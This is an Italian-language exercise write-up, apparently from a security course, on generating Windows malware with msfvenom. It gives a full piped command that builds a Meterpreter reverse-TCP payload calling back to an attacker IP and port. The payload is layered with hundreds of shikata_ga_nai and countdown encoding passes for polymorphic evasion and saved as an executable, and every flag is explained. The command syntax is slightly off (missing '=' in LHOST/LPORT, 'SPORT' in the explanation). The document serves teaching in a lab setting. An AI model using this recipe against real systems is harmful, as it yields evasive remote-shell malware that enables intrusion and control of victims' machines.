ESERCIZIO: Creazione di un Malware con Msfvenom

Obiettivo dell'Esercizio: L'esercizio di oggi consiste nel creare un malware utilizzando msfvenom.

Per il compito di oggi ho usato **Msfvenom**, cioè uno strumento incluso nel framework di Metasploit, utilizzato per creare payload personalizzati e generare exploit. Spiegazione comando:

Prima parte:

*msfvenom -p windows/meterpreter/reverse\_tcp LHOST 192.168.1.23 LPORT 5959 -a x86 --platform windows -e x86/shikata\_ga\_nai -i 100 -f raw*

● **msfvenom:** Il comando per generare payloads.

●**-p windows/meterpreter/reverse\_tcp:** Specifica il payload. In questo caso, è un payload Meterpreter che stabilisce una connessione inversa TCP.

○ **windows/meterpreter/reverse\_tcp:** Tipo di payload, Meterpreter è una shell avanzata utilizzata da Metasploit.

● **LHOST 192.168.1.23:** Indirizzo IP dell'attaccante dove il payload tenterà di connettersi.

● **SPORT 5959:** Porta che l'attaccante utilizzerà per ascoltare la connessione inversa.

●**-a x86:** Architettura del payload, in questo caso x86 32 bit.

●**--platform windows:** Piattaforma target, in questo caso Windows.

●**-e x86/shikata\_ga\_nai:** Codifica il payload utilizzando l'encoder shikata\_ga\_nai, noto per essere un encoder polimorfico.

●**-i 100:** Indica il numero di iterazioni di codifica da applicare (100 iterazioni).

●**-f raw:** Formato di output, in questo caso raw (grezzo), senza nessun wrapper.

Seconda parte:

*| msfvenom -a x86 --platform windows -e x86/countdown -i 200 -f raw*

● **|:** Pipe, utilizza l'output della prima parte come input per il prossimo comando msfvenom.

● **msfvenom:** Di nuovo, utilizziamo msfvenom.

●**-a x86:** Architettura del payload, in questo caso x86 32 bit.

●**--platform windows:** Piattaforma target, in questo caso Windows.

●**-e x86/countdown:** Codifica il payload utilizzando l'encoder countdown.

●**-i 200:** Indica il numero di iterazioni di codifica da applicare 200 iterazioni).

●**-f raw:** Formato di output, in questo caso raw (grezzo).

Terza parte:

*| msfvenom -a x86 --platform windows -e x86/shikata\_ga\_nai -i 138 -o polimorficommm.exe*

● **|:** Pipe, utilizza l'output della seconda parte come input per il prossimo comando msfvenom.

● **msfvenom:** Ancora una volta, utilizziamo msfvenom.

●**-a x86:** Architettura del payload, in questo caso x86 32 bit.

●-**-platform windows**: Piattaforma target, in questo caso Windows.

●**-e x86/shikata\_ga\_nai:** Codifica il payload utilizzando nuovamente l'encoder shikata\_ga\_nai.

●**-i 138:** Indica il numero di iterazioni di codifica da applicare 138 iterazioni).

●**-o polimorficommm.exe:** Specifica il nome del file di output, in questo caso polimorficommm.exe.

In sintesi:

**Prima Fase:** Genera un payload Meterpreter con una connessione inversa TCP, codificato con shikata\_ga\_nai per 100 iterazioni.

**Seconda Fase:** Ricodifica il payload grezzo utilizzando l'encoder countdown per 200 iterazioni.

**Terza Fase:** Ulteriore ricodifica del payload grezzo utilizzando shikata\_ga\_nai per 138 iterazioni e salva il risultato finale come polimorficommm.exe.

